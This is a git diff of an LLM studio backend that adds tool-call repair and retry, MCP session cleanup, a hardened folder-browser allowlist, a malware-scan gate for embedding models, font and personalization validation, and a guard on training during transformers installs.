+            _await_cancel_or_disconnect_then_close_client(
+                cancel_event = cancel,
+                request = request,
+                client = client,
+            )
+        )
+        try:
+            try:
+                response = await client.post(
+                    target_url,
+                    json = body_to_send,
+                    headers = upstream_headers,
+                    timeout = _llama_non_streaming_generation_timeout(),
+                )
+            except httpx.RequestError:
+                if cancel.is_set():
+                    raise asyncio.CancelledError()
+                raise
+            if cancel.is_set():
+                raise asyncio.CancelledError()
+            return response
+        finally:
+            watcher.cancel()
+            try:
+                await watcher
+            except (asyncio.CancelledError, Exception):
+                pass
+            try:
+                await client.aclose()
+            except Exception:
+                pass
+
+    while True:
+        try:
+            resp = await _post(body)
         except asyncio.CancelledError:
             api_monitor.finish(monitor_id, "cancelled")
             raise
@@ -10942,6 +14984,9 @@ async def _openai_passthrough_non_streaming(
     _guided_fence = bool((payload.model_extra or {}).get("_unsloth_guided_fence"))
     _do_fence = _guided_fence and _extract_response_format(payload) is not None
     _cap_parallel = payload.parallel_tool_calls is False
+    _allowed_tools = heal_gate(
+        payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice")
+    )
 
     try:
         data = resp.json()
@@ -10954,6 +14999,32 @@ async def _openai_passthrough_non_streaming(
         api_monitor.finish(monitor_id)
         return Response(content = resp.content, media_type = "application/json")
 
+    # Opt-in single-retry nudge: the model clearly tried to call a tool (signal
+    # present) but nothing parseable/declared came out, so re-ask once with the
+    # original prompt prefix intact (llama-server reuses the slot's KV cache)
+    # plus a two-message nudge suffix. The retry replaces the original response
+    # only when it actually yields a usable call.
+    if (
+        _allowed_tools
+        and nudge_enabled(payload.nudge_tool_calls)
+        and nudge_should_retry(data, _allowed_tools, body.get("tools"))
+    ):
+        retry_body = {
+            **body,
+            "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)],
+        }
+        try:
+            retry_resp = await _post(retry_body)
+            if retry_resp.status_code == 200:
+                retry_data = retry_resp.json()
+                if response_has_promotable_calls(retry_data, _allowed_tools, body.get("tools")):
+                    resp, data = retry_resp, retry_data
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
+        except (httpx.RequestError, ValueError) as exc:
+            logger.warning("tool-call nudge retry failed; keeping original: %s", exc)
+
     changed = False
     for choice in data.get("choices", []):
         if not isinstance(choice, dict):
@@ -10962,6 +15033,17 @@ async def _openai_passthrough_non_streaming(
         if not isinstance(msg, dict):
             continue
 
+        # Small models emit tool calls as text instead of structured tool_calls;
+        # promote them (declared client tools only) so the agent sees a real call.
+        # Truncation wins over the upgrade (same rule as the streaming and
+        # Anthropic paths): a call cut off at max_tokens keeps
+        # finish_reason="length" so the client knows the arguments may be
+        # incomplete, while the healed call itself stays attached.
+        if _allowed_tools and heal_openai_message(msg, _allowed_tools, body.get("tools")):
+            if choice.get("finish_reason") == "stop":
+                choice["finish_reason"] = "tool_calls"
+            changed = True
+
         # OpenAI requires content=null on a pure tool-call turn; llama-server
         # emits content="".
         if msg.get("tool_calls") and msg.get("content") == "":
diff --git a/studio/backend/routes/llama.py b/studio/backend/routes/llama.py
index 123349126d..540647e3bc 100644
--- a/studio/backend/routes/llama.py
+++ b/studio/backend/routes/llama.py
@@ -14,14 +14,17 @@ never blocks on a missing marker / offline GitHub.
 from __future__ import annotations
 
 import asyncio
+import threading
 from typing import Optional
 
 from fastapi import APIRouter, Depends, Query
 from pydantic import BaseModel, Field
 
 from auth.authentication import get_current_subject
+from loggers import get_logger
 from utils.llama_cpp_update import get_update_status, start_update
 
+logger = get_logger(__name__)
 router = APIRouter()
 
 
@@ -69,6 +72,27 @@ class LlamaUpdateActionResponse(BaseModel):
     job: LlamaUpdateJob = Field(default_factory = LlamaUpdateJob)
 
 
+_llama_update_lock = threading.Lock()
+_last_llama_update_step = -1
+
+
+def _log_llama_update_progress(job: LlamaUpdateJob) -> None:
+    """One llama_update_progress line per 10% step so a prebuilt update reports
+    progress without a line per poll. Resyncs when a new update starts."""
+    global _last_llama_update_step
+    if job.state != "running" or job.progress is None:
+        return
+    step = int(max(0.0, min(float(job.progress), 1.0)) * 10)
+    with _llama_update_lock:
+        prev = _last_llama_update_step
+        if step == prev:
+            return
+        _last_llama_update_step = step
+        if step < prev:
+            return  # new update; resync without logging
+    logger.info("llama_update_progress", to_tag = job.to_tag or "", percent = step * 10)
+
+
 @router.get("/update-status", response_model = LlamaUpdateStatusResponse)
 async def llama_update_status(
     force_refresh: bool = Query(
@@ -78,7 +102,9 @@ async def llama_update_status(
 ) -> LlamaUpdateStatusResponse:
     # Off the event loop: detection may probe the host and read GitHub.
     status = await asyncio.to_thread(get_update_status, force_refresh = force_refresh)
-    return LlamaUpdateStatusResponse(**status)
+    resp = LlamaUpdateStatusResponse(**status)
+    _log_llama_update_progress(resp.job)
+    return resp
 
 
 @router.post("/update", response_model = LlamaUpdateActionResponse)
diff --git a/studio/backend/routes/mcp_servers.py b/studio/backend/routes/mcp_servers.py
index 80cd8e1437..71f0fd2874 100644
--- a/studio/backend/routes/mcp_servers.py
+++ b/studio/backend/routes/mcp_servers.py
@@ -1,6 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import asyncio
 import json
 import uuid
 from urllib.parse import urlparse
@@ -13,6 +14,7 @@ from core.inference.mcp_client import (
     TOOL_CACHE_INVALIDATING_FIELDS,
     cache_tools,
     clear_oauth_tokens_async,
+    close_stdio_sessions,
     invalidate_tool_cache,
     is_stdio,
     list_tools_async,
@@ -206,11 +208,15 @@ async def update_mcp_server(
     ):
         await clear_oauth_tokens_async(old["url"])
     mcp_servers_db.update_server(server_id, changes)
-    # A new endpoint/auth makes cached tools wrong and disabling makes them
-    # unreachable, so drop them and let the next send re-probe; a rename
-    # leaves them valid.
-    if changes.keys() & TOOL_CACHE_INVALIDATING_FIELDS:
+    # A new endpoint/auth makes cached tools wrong and disabling makes them unreachable, so drop
+    # them and let the next send re-probe; a rename leaves them valid. Live stdio sessions for the
+    # old endpoint close too. Gate on a real value change, not mere presence: the edit dialog
+    # resends url/headers/oauth unchanged on a rename, which must not drop the session.
+    if any(changes[k] != old.get(k) for k in changes.keys() & TOOL_CACHE_INVALIDATING_FIELDS):
         invalidate_tool_cache(server_id)
+        # Narrow to this row's env: another server row sharing the command but
+        # with a different env keeps its live sessions.
+        await asyncio.to_thread(close_stdio_sessions, old["url"], parse_server_headers(old))
     return _row_to_response(mcp_servers_db.get_server(server_id))
 
 
@@ -223,6 +229,7 @@ async def delete_mcp_server(server_id: str, current_subject: str = Depends(get_c
         await clear_oauth_tokens_async(old["url"])
     mcp_servers_db.delete_server(server_id)
     invalidate_tool_cache(server_id)
+    await asyncio.to_thread(close_stdio_sessions, old["url"], parse_server_headers(old))
 
 
 @router.post("/{server_id}/refresh", response_model = McpServerProbeResult)
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index 1501868860..b8526c75e7 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -1188,7 +1188,9 @@ def _looks_like_model_dir(directory: Path) -> bool:
     return False
 
 
-def _build_browse_allowlist() -> list[Path]:
+def _build_browse_allowlist(
+    media_roots: Optional[list[Path]] = None, drive_roots: Optional[list[Path]] = None
+) -> list[Path]:
     """Return the root directories the folder browser may walk.
 
     The same list seeds the sidebar suggestion chips, so chip targets are
@@ -1196,12 +1198,20 @@ def _build_browse_allowlist() -> list[Path]:
     outputs/exports/studio root, registered scan folders, and well-known
     local-LLM dirs (LM Studio, Ollama, ``~/models``); each added only if
     it resolves to a real directory.
+
+    *media_roots* / *drive_roots* let the caller pass already-probed
+    removable-media and Windows drive roots so they aren't scanned again (a
+    disconnected mapped drive can make each probe slow); probed here when ``None``.
     """
     from utils.paths import (
         hf_default_cache_dir,
         legacy_hf_cache_dir,
         well_known_model_dirs,
     )
+    from utils.paths.external_media import (
+        linux_run_media_mount_roots,
+        windows_drive_roots,
+    )
     from storage.studio_db import list_scan_folders
 
     candidates: list[Path] = []
@@ -1217,6 +1227,14 @@ def _build_browse_allowlist() -> list[Path]:
             candidates.append(resolved)
 
     _add(Path.home())
+    if media_roots is None:
+        media_roots = linux_run_media_mount_roots()
+    if drive_roots is None:
+        drive_roots = windows_drive_roots()
+    for p in media_roots:
+        _add(p)
+    for p in drive_roots:
+        _add(p)
     _add(_resolve_hf_cache_dir())
     try:
         _add(hf_default_cache_dir())
@@ -1266,19 +1284,43 @@ def _build_browse_allowlist() -> list[Path]:
 def _is_path_inside_allowlist(target: Path, allowed_roots: list[Path]) -> bool:
     """True if *target* equals or descends from any allowed root.
 
-    Uses ``os.path.realpath`` so symlinks can't escape the sandbox.
+    Uses ``os.path.realpath`` (symlinks can't escape the sandbox) and
+    ``os.path.commonpath`` for a component-wise containment test, so a string
+    prefix like ``/home/u`` never matches a sibling ``/home/user2`` while a
+    drive root ``D:\\`` still contains ``D:\\models``. A Windows drive root
+    authorizes its descendants, but a bare POSIX root ``/`` must NOT, else one
+    ``/`` allowlist entry would authorize every absolute path. ``normcase`` keeps
+    the drive-letter comparison case-insensitive, matching the hub browser.
     """
     try:
-        target_real = os.path.realpath(str(target))
+        target_real = os.path.normcase(os.path.realpath(str(target)))
     except OSError:
         return False
     for root in allowed_roots:
         try:
-            root_real = os.path.realpath(str(root))
+            root_real = os.path.normcase(os.path.realpath(str(root)))
         except OSError:
             continue
-        if target_real == root_real or target_real.startswith(root_real + os.sep):
+        if target_real == root_real:
             return True
+        drive, tail = os.path.splitdrive(root_real)
+        if os.path.dirname(root_real) == root_real and not drive:
+            # Bare POSIX filesystem root ("/"): equality above is the only
+            # match; do not let it authorize arbitrary descendants.
+            continue
+        if drive.startswith(("\\\\", "//")) and not tail:
+            # Bare UNC share root (\\server\share): os.path.commonpath raises
+            # "can't mix absolute and relative" on it, so authorize its
+            # descendants with a boundary-safe prefix test (normcase applied).
+            if target_real.startswith(root_real.rstrip("\\/") + os.sep):
+                return True
+            continue
+        try:
+            if os.path.commonpath([target_real, root_real]) == root_real:
+                return True
+        except ValueError:
+            # Different drives / mixed absolute-relative: not contained.
+            continue
     return False
 
 
@@ -1336,6 +1378,11 @@ def _match_browse_child(current: Path, name: str) -> Optional[Path]:
 
 def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Path:
     """Resolve a requested browse path by walking from trusted allowlist roots."""
+    from storage.studio_db import (
+        contains_sensitive_path_component,
+        is_denied_system_path,
+    )
+
     requested_path = _normalize_browse_request_path(path)
     resolved_roots: list[Path] = []
     seen_roots: set[str] = set()
@@ -1386,8 +1433,30 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
                         "under your home folder."
                     ),
                 )
+            if contains_sensitive_path_component(str(resolved_child)):
+                raise HTTPException(
+                    status_code = 403,
+                    detail = "Credential or configuration directories are not browseable.",
+                )
+            if is_denied_system_path(str(resolved_child)):
+                raise HTTPException(
+                    status_code = 403,
+                    detail = "System directories are not browseable.",
+                )
             current = resolved_child
 
+        if contains_sensitive_path_component(str(current)):
+            raise HTTPException(
+                status_code = 403,
+                detail = "Credential or configuration directories are not browseable.",
+            )
+        # Zero-component case: the requested path IS an allowlist root
+        # (e.g. a legacy-registered "/" or a Windows drive root).
+        if is_denied_system_path(str(current)):
+            raise HTTPException(
+                status_code = 403,
+                detail = "System directories are not browseable.",
+            )
         if not current.is_dir():
             raise HTTPException(
                 status_code = 400,
@@ -1405,8 +1474,12 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
     )
 
 
+# Sync (def, not async) so FastAPI runs the blocking filesystem I/O (drive
+# probes, iterdir, realpath) in the threadpool: a disconnected mapped drive can
+# make the probe wait out its timeout, which on the event loop would stall every
+# other request. Matches the hub browse endpoint.
 @router.get("/browse-folders", response_model = BrowseFoldersResponse)
-async def browse_folders(
+def browse_folders(
     path: Optional[str] = Query(
         None,
         description = (
@@ -1435,10 +1508,22 @@ async def browse_folders(
     then hidden (if ``show_hidden=true``).
     """
     from utils.paths import hf_default_cache_dir, well_known_model_dirs
-    from storage.studio_db import list_scan_folders
+    from utils.paths.external_media import (
+        linux_run_media_mount_roots,
+        windows_drive_roots,
+    )
+    from storage.studio_db import (
+        contains_sensitive_path_component,
+        is_denied_system_path,
+        list_scan_folders,
+    )
 
+    # Probe removable-media and Windows drive roots once; the allowlist and
+    # chips reuse the result so a disconnected mapped drive isn't scanned twice.
+    media_roots = linux_run_media_mount_roots()
+    drive_roots = windows_drive_roots()
     # Build once; the sandbox check and suggestion chips share it.
-    allowed_roots = _build_browse_allowlist()
+    allowed_roots = _build_browse_allowlist(media_roots, drive_roots)
 
     try:
         target = _resolve_browse_target(path, allowed_roots)
@@ -1488,6 +1573,17 @@ async def browse_folders(
             is_hidden = name.startswith(".")
             if is_hidden and not show_hidden:
                 continue
+            if contains_sensitive_path_component(name):
+                continue
+            # Hide denied system dirs (C:\Windows, /etc, ...) so they don't
+            # render as clickable rows that then 403 on descent. Resolve first
+            # so a symlink/junction into a denied dir is hidden too, not just a literal name.
+            try:
+                resolved_child = os.path.realpath(str(child))
+            except (OSError, ValueError):
+                resolved_child = str(child)
+            if is_denied_system_path(resolved_child):
+                continue
             entries.append(
                 BrowseEntry(
                     name = name,
@@ -1535,12 +1631,23 @@ async def browse_folders(
             return
         if resolved in seen_sug:
             return
+        # Drop a denied system dir (e.g. a stale scan-folder row) so it never
+        # becomes a chip that 403s on click. Drive roots stay: only their
+        # system subdirectories are denied, not the root itself.
+        if is_denied_system_path(resolved):
+            return
         if _safe_is_dir(resolved):
             seen_sug.add(resolved)
             suggestions.append(resolved)
 
     # Home first -- the safe fallback when everything else is cold.
     _add_sug(Path.home())
+    # Reuse the roots probed for the allowlist above (no second drive scan).
+    for p in media_roots:
+        _add_sug(p)
+    # Windows drive roots so the user can hop between C:, D:, E: ...
+    for p in drive_roots:
+        _add_sug(p)
     # The HF cache root the process is actually using.
     try:
         _add_sug(hf_default_cache_dir())
diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py
index 862bce8be8..1ddfc0eacb 100644
--- a/studio/backend/routes/settings.py
+++ b/studio/backend/routes/settings.py
@@ -1,6 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import re
 from typing import Literal, Optional
 from urllib.parse import unquote, urlsplit
 
@@ -32,6 +33,7 @@ from utils.helper_precache_settings import (
     helper_model_disabled_by_env,
     set_helper_precache_enabled,
 )
+from utils.coding_agents import CODING_AGENTS, detect_installed_coding_agents
 from utils.openai_auto_switch_settings import (
     DEFAULT_AUTO_UNLOAD_IDLE_SECONDS,
     DEFAULT_OPENAI_AUTO_SWITCH_ENABLED,
@@ -174,6 +176,19 @@ def update_helper_precache(
     return _helper_precache_response(enabled)
 
 
+class CodingAgentsResponse(BaseModel):
+    # All agents `unsloth start` supports, in the CLI's declared order.
+    agents: tuple[str, ...] = CODING_AGENTS
+    # Subset of `agents` whose CLI binary was found on PATH; the frontend uses
+    # this to default the API-keys panel to a command the user can run as-is.
+    detected: list[str]
+
+
+@router.get("/coding-agents", response_model = CodingAgentsResponse)
+def get_coding_agents(current_subject: str = Depends(get_current_subject)) -> CodingAgentsResponse:
+    return CodingAgentsResponse(detected = detect_installed_coding_agents())
+
+
 @router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
 def get_openai_auto_switch(
     current_subject: str = Depends(get_current_subject),
@@ -260,17 +275,29 @@ def _embedding_model_response() -> EmbeddingModelResponse:
     )
 
 
-def _llama_backend_active() -> bool:
-    """True when this install embeds via the llama-server (GGUF) backend."""
-    from core.rag import config as rag_config
-    from core.rag import embeddings
-
+def _ambient_hf_token() -> Optional[str]:
+    """The HF token the loader would use (HF_TOKEN env or the cached login), so a gated
+    repo is scanned rather than failing open. None if unavailable."""
     try:
-        raw = (rag_config.EMBED_BACKEND or "auto").strip().lower()
-        key = embeddings._resolve_auto() if raw in embeddings._AUTO_ALIASES else raw
+        from huggingface_hub import get_token
+        return get_token()
+    except Exception:
+        return None
+
+
+def _llama_backend_active() -> bool:
+    """True when this install actually embeds via the llama-server (GGUF) backend.
+
+    Delegates to the embeddings module so a runtime fallback from
+    sentence-transformers to llama-server (after a torch/CUDA load or encode
+    failure) is honored: in that state the process loads only inert GGUF, so the
+    ST pickle gate below must not hard-block a repo whose GGUF companion is clean.
+    Before any backend is built this still reflects the resolver."""
+    from core.rag import embeddings
+    try:
+        return embeddings.active_backend_is_llama()
     except Exception:  # noqa: BLE001 - backend probe must never block saving
         return False
-    return key in embeddings._LLAMA_ALIASES
 
 
 def _resolves_as_local_gguf(model: str) -> bool:
@@ -357,6 +384,8 @@ def update_embedding_model(
     """Set the RAG embedding model. Unless ``force`` is set, the repo is verified
     to be an embedding model via HF metadata; an unverifiable model (wrong type,
     typo, gated repo, or no network) returns 409 so the UI can offer "save anyway".
+    A repo flagged unsafe by HF's security scan returns 403 instead: a hard block
+    that ``force`` cannot bypass, so the UI must not offer "save anyway".
     Documents indexed under the previous model must be re-uploaded."""
     from utils.models import is_embedding_model
 
@@ -370,15 +399,51 @@ def update_embedding_model(
             event = "settings.update_embedding_model_failed",
             log = logger,
         ) from exc
+    hf_token = (payload.hf_token or "").strip() or None
     # The env/default model needs no verification; saving it is a no-op override.
     # A local GGUF on the llama-server backend is accepted as-is: it is exactly
     # what the backend loads, and HF metadata cannot verify a local path.
-    if (
-        model != default_embedding_model()
-        and not payload.force
-        and not (_llama_backend_active() and _resolves_as_local_gguf(model))
-    ):
-        hf_token = (payload.hf_token or "").strip() or None
+    is_local_gguf = _llama_backend_active() and _resolves_as_local_gguf(model)
+    # The pickle gate only matters for the sentence-transformers backend, which is what
+    # deserializes pickles. On the llama-server backend the embedder loads GGUF files
+    # (inert) from effective_gguf_repo(), so scanning the ST repo's pickle here would
+    # wrongly reject a custom repo whose GGUF companion is clean; the GGUF availability
+    # checks below cover that path instead.
+    scan_st_pickle = (
+        model != default_embedding_model() and not is_local_gguf and not _llama_backend_active()
+    )
+    if scan_st_pickle:
+        # Malware/pickle gate before we persist a repo the embedder later loads with
+        # SentenceTransformer. Runs even under force (force only skips the is-embedding
+        # type check for offline/local repos HF cannot verify); local paths and
+        # unreachable scans fail open inside evaluate_file_security.
+        from utils.security import evaluate_file_security, security_load_subdirs
+        from core.rag.embeddings import _st_module_subdirs
+
+        # Fall back to the loader's own token so a gated/private repo is actually scanned
+        # (a token-less scan fails open for exactly the repo that would still load).
+        scan_token = hf_token or _ambient_hf_token()
+        # Include the ST module dirs (0_Transformer/) so a flagged pickle directly under
+        # one blocks instead of passing as an unreferenced nested shard.
+        load_subdirs = tuple(
+            dict.fromkeys(
+                (
+                    *security_load_subdirs(model, scan_token),
+                    *_st_module_subdirs(model, scan_token),
+                )
+            )
+        )
+        if evaluate_file_security(model, hf_token = scan_token, load_subdirs = load_subdirs).blocked:
+            # 403, not 409: the client routes every 409 into the forceable "save anyway"
+            # flow, but this block is a hard, non-forceable security refusal.
+            raise HTTPException(
+                status_code = 403,
+                detail = (
+                    f"{model!r} is flagged as unsafe by Hugging Face's security scan and "
+                    "cannot be used as the embedding model."
+                ),
+            )
+    if model != default_embedding_model() and not payload.force and not is_local_gguf:
         from core.rag import config as rag_config
 
         # A GGUF-named repo on the llama-server backend is loaded from its .gguf
@@ -487,6 +552,7 @@ class PersonalizationProfile(BaseModel):
     nickname: str = Field("", max_length = 200)
     avatarDataUrl: Optional[str] = Field(None, max_length = MAX_AVATAR_DATA_URL_BYTES)
     avatarShape: Literal["circle", "rounded"] = "circle"
+    showGreetingSloth: bool = True
 
     @field_validator("avatarDataUrl")
     @classmethod
@@ -498,11 +564,179 @@ class PersonalizationProfile(BaseModel):
         return value
 
 
+class PersonalizationCustomColors(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    accent: Optional[str] = Field(None, pattern = r"^#[0-9a-fA-F]{6}$")
+    background: Optional[str] = Field(None, pattern = r"^#[0-9a-fA-F]{6}$")
+    foreground: Optional[str] = Field(None, pattern = r"^#[0-9a-fA-F]{6}$")
+
+
+class PersonalizationCustomColorModes(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    light: PersonalizationCustomColors = Field(default_factory = PersonalizationCustomColors)
+    dark: PersonalizationCustomColors = Field(default_factory = PersonalizationCustomColors)
+
+
+MAX_IMPORTED_FONTS = 3
+# ~1.5 MB font file as base64; matches MAX_IMPORTED_FONT_DATA_URL_LENGTH in
+# the frontend appearance-custom-store.
+MAX_FONT_DATA_URL_LENGTH = 2_200_000
+# Aggregate cap across all imported fonts; matches
+# MAX_TOTAL_IMPORTED_FONT_DATA_URL_LENGTH in the frontend so a synced payload
+# always fits the browser's localStorage quota.
+MAX_TOTAL_FONT_DATA_URL_LENGTH = 4_400_000
+
+# Characters that could terminate a CSS declaration, escape the quoted
+# font-family value (backslash), or smuggle extra fallbacks/comments (comma,
+# slash) if a stored name ever reached a stylesheet. The server is the
+# authoritative gate; the frontend strips the same set before use.
+_FONT_NAME_FORBIDDEN = set(";{}()<>\"'\\/,`")
+
+
+def _check_font_name(value: str) -> str:
+    if any(c in _FONT_NAME_FORBIDDEN or ord(c) < 0x20 for c in value):
+        raise ValueError("Font name contains invalid characters.")
+    return value
+
+
+# Matches FONT_DATA_URL_PATTERN in the frontend appearance-custom-store.
+_FONT_DATA_URL_PATTERN = re.compile(
+    r"^data:(?:font/(?:woff2?|ttf|otf|sfnt)"
+    r"|application/(?:octet-stream|x-font-\w+|font-\w+));base64,[A-Za-z0-9+/=]+$"
+)
+
+
+class PersonalizationImportedFont(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    name: str = Field(..., min_length = 1, max_length = 100)
+    dataUrl: str = Field(..., max_length = MAX_FONT_DATA_URL_LENGTH)
+
+    @field_validator("name")
+    @classmethod
+    def _validate_font_name(cls, value: str) -> str:
+        return _check_font_name(value)
+
+    @field_validator("dataUrl")
+    @classmethod
+    def _validate_font_data_url(cls, value: str) -> str:
+        # fullmatch, not match: re's ``$`` also matches just before a trailing
+        # newline, so ``match`` would accept "data:font/woff2;base64,AAAA\n",
+        # which the frontend's JS pattern (``$`` = end of string) rejects.
+        if not _FONT_DATA_URL_PATTERN.fullmatch(value):
+            raise ValueError("dataUrl must be a base64 font data URL.")
+        return value
+
+
+# Optional user-menu items; the boolean is each id's default visibility.
+# Settings-tab shortcuts ship hidden.
+SIDEBAR_MENU_ITEM_DEFAULTS = {
+    "api": True,
+    "darkMode": True,
+    "guidedTour": True,
+    "profile": False,
+    "appearance": False,
+    "resources": False,
+    "chat": False,
+    "connections": False,
+}
+
+# The sidebarMenu validator below dedupes ids and re-fills any missing ones, so
+# the stored list is always exactly one entry per id. Cap the *incoming* list at
+# a generous multiple rather than len(defaults): a stale or duplicated payload
+# (more items than distinct ids) must reach the validator so it can normalize,
+# instead of being rejected by the length constraint before dedupe runs. A
+# pathologically long list is still refused.
+MAX_SIDEBAR_MENU_INPUT_ITEMS = 4 * len(SIDEBAR_MENU_ITEM_DEFAULTS)
+
+
+class PersonalizationSidebarMenuItem(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    id: Literal[
+        "api",
+        "darkMode",
+        "guidedTour",
+        "profile",
+        "appearance",
+        "resources",
+        "chat",
+        "connections",
+    ]
+    visible: bool = True
+
+
+def _default_sidebar_menu() -> "list[PersonalizationSidebarMenuItem]":
+    return [
+        PersonalizationSidebarMenuItem(id = item_id, visible = visible)
+        for item_id, visible in SIDEBAR_MENU_ITEM_DEFAULTS.items()
+    ]
+
+
+class PersonalizationCustomization(BaseModel):
+    model_config = ConfigDict(extra = "ignore")
+
+    colors: PersonalizationCustomColorModes = Field(default_factory = PersonalizationCustomColorModes)
+    uiFont: Optional[str] = Field(None, max_length = 200)
+    headingFont: Optional[str] = Field(None, max_length = 200)
+    chatFont: Optional[str] = Field(None, max_length = 200)
+    codeFont: Optional[str] = Field(None, max_length = 200)
+    importedFonts: list[PersonalizationImportedFont] = Field(
+        default_factory = list, max_length = MAX_IMPORTED_FONTS
+    )
+
+    @field_validator("importedFonts")
+    @classmethod
+    def _validate_total_font_size(
+        cls, value: list[PersonalizationImportedFont]
+    ) -> list[PersonalizationImportedFont]:
+        if sum(len(f.dataUrl) for f in value) > MAX_TOTAL_FONT_DATA_URL_LENGTH:
+            raise ValueError("Imported fonts exceed the total size limit.")
+        return value
+
+    @field_validator("uiFont", "headingFont", "chatFont", "codeFont")
+    @classmethod
+    def _validate_selected_fonts(cls, value: Optional[str]) -> Optional[str]:
+        # Selected font names reach CSS the same way imported names do.
+        return value if value is None else _check_font_name(value)
+
+    uiFontSize: Optional[int] = Field(None, ge = 12, le = 20)
+    codeFontSize: Optional[int] = Field(None, ge = 10, le = 20)
+    contrast: int = Field(50, ge = 0, le = 100)
+    pointerCursors: bool = False
+    reduceMotion: Literal["system", "on", "off"] = "system"
+    fontSmoothing: bool = True
+    sidebarMenu: list[PersonalizationSidebarMenuItem] = Field(
+        default_factory = _default_sidebar_menu,
+        max_length = MAX_SIDEBAR_MENU_INPUT_ITEMS,
+    )
+
+    @field_validator("sidebarMenu")
+    @classmethod
+    def _validate_sidebar_menu(
+        cls, value: list[PersonalizationSidebarMenuItem]
+    ) -> list[PersonalizationSidebarMenuItem]:
+        # Drop duplicate ids (keep the first) and re-append any missing ids so
+        # the stored list always covers every optional menu item exactly once.
+        seen: set[str] = set()
+        items = [item for item in value if not (item.id in seen or seen.add(item.id))]
+        for item_id, visible in SIDEBAR_MENU_ITEM_DEFAULTS.items():
+            if item_id not in seen:
+                items.append(PersonalizationSidebarMenuItem(id = item_id, visible = visible))
+        return items
+
+
 class PersonalizationAppearance(BaseModel):
     model_config = ConfigDict(extra = "ignore")
 
     theme: Literal["light", "dark", "system"] = "system"
+    palette: Literal["standard", "classic", "minimal"] = "standard"
     language: Optional[str] = Field(None, max_length = 20)
+    customization: PersonalizationCustomization = Field(
+        default_factory = PersonalizationCustomization
+    )
 
 
 class PersonalizationPayload(BaseModel):
@@ -515,6 +749,11 @@ class PersonalizationPayload(BaseModel):
 
 class PersonalizationResponse(PersonalizationPayload):
     saved: bool = False
+    # False when the stored record predates a field, so the client keeps local
+    # overrides instead of treating a server-filled default as an explicit value.
+    customizationSaved: bool = False
+    paletteSaved: bool = False
+    greetingSlothSaved: bool = False
 
 
 @router.get("/personalization", response_model = PersonalizationResponse)
@@ -524,15 +763,38 @@ def get_personalization_settings(
     stored = get_personalization()
     response = PersonalizationResponse.model_validate(stored or {})
     response.saved = bool(stored)
+    appearance = stored.get("appearance") if isinstance(stored, dict) else None
+    profile = stored.get("profile") if isinstance(stored, dict) else None
+    response.customizationSaved = isinstance(appearance, dict) and "customization" in appearance
+    response.paletteSaved = isinstance(appearance, dict) and "palette" in appearance
+    response.greetingSlothSaved = isinstance(profile, dict) and "showGreetingSloth" in profile
     return response
 
 
+def _merge_personalization(base: dict, overlay: dict) -> dict:
+    # Recursively overlay only the request's set fields onto the stored record,
+    # so a stale client that omits newer keys (palette, customization) does not
+    # materialize their defaults and defeat the *Saved legacy detection.
+    merged = dict(base)
+    for key, value in overlay.items():
+        existing = merged.get(key)
+        if isinstance(value, dict) and isinstance(existing, dict):
+            merged[key] = _merge_personalization(existing, value)
+        else:
+            merged[key] = value
+    return merged
+
+
 @router.put("/personalization", response_model = PersonalizationPayload)
 def update_personalization_settings(
     payload: PersonalizationPayload, current_subject: str = Depends(get_current_subject)
 ) -> PersonalizationPayload:
     try:
-        set_personalization(payload.model_dump())
+        # exclude_unset so absent fields are not persisted as defaults; merge so
+        # fields the request omits keep whatever the record already stored.
+        incoming = payload.model_dump(exclude_unset = True)
+        merged = _merge_personalization(get_personalization(), incoming)
+        set_personalization(merged)
     except ValueError as exc:
         raise log_and_http_error(
             exc,
@@ -541,4 +803,6 @@ def update_personalization_settings(
             event = "settings.update_personalization_failed",
             log = logger,
         ) from exc
-    return payload
+    # Return the stored record, not the defaults-filled request, so the response
+    # matches storage (and the next GET) for fields the client omitted.
+    return PersonalizationPayload.model_validate(merged)
diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py
index 1da1c4f425..d53e8f2bbc 100644
--- a/studio/backend/routes/training.py
+++ b/studio/backend/routes/training.py
@@ -146,6 +146,16 @@ async def start_training(
         # No in-process ensure_transformers_version(): the subprocess
         # (worker.py) activates the correct version before importing ML libs.
 
+        # A consented latest-transformers install stage-and-swaps .venv_t5_latest;
+        # a worker spawned mid-swap could activate a half-replaced sidecar.
+        from utils.transformers_latest import is_install_in_progress
+
+        if is_install_in_progress():
+            raise HTTPException(
+                status_code = 409,
+                detail = ("A transformers installation is in progress. Retry when it completes."),
+            )
+
         backend = get_training_backend()
 
         # S3 dataset loading needs the optional boto3 dependency. Reject early
@@ -341,6 +351,24 @@ async def start_training(
             "s3_config": request.s3_config.model_dump() if request.s3_config else None,
         }
 
+        # Latest-sidecar models size and train 16-bit (same flip as chat load):
+        # 4-bit is disabled for brand-new architectures, so VRAM coexistence
+        # checks must not underestimate against a load the worker will refuse.
+        if training_kwargs["load_in_4bit"]:
+            from utils.transformers_version import latest_tier_active_for
+            if await asyncio.to_thread(
+                latest_tier_active_for,
+                training_kwargs["model_name"],
+                training_kwargs["hf_token"] or None,
+            ):
+                training_kwargs["load_in_4bit"] = False
+                logger.info(
+                    "Latest-transformers sidecar active for %s - sizing and "
+                    "training in 16-bit (4-bit is disabled for brand-new "
+                    "architectures)",
+                    training_kwargs["model_name"],
+                )
+
         # Training page has no trust_remote_code toggle, so honor the YAML default
